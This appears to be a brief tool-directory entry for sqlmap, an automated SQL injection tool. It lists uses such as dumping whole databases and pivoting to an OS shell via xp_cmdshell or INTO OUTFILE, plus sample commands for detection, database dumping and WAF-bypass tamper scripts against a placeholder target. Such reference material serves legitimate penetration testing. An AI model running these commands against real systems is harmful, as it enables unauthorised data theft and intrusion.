// what it is
Description
Bernardo Damele's Python beast that automates every step of SQLi exploitation. Detects ~6 different injection techniques across 35+ database backends, including blind/time-based variants that humans hate. Supports JSON/XML body injection, custom headers, and Tamper scripts for WAF bypass.
// use cases
What people use it for
- Confirm a suspected SQLi finding in seconds
- Dump entire database structures + contents
- OS-shell pivoting via xp_cmdshell or `INTO OUTFILE`
// commands
The commands you'll type
Detect injection on a URL
$ sqlmap -u 'https://target/page?id=1' --batchDump current database
$ sqlmap -u '...' --current-db --dumpTry with WAF-bypass tamper
$ sqlmap -u '...' --tamper=space2comment,charunicodeencode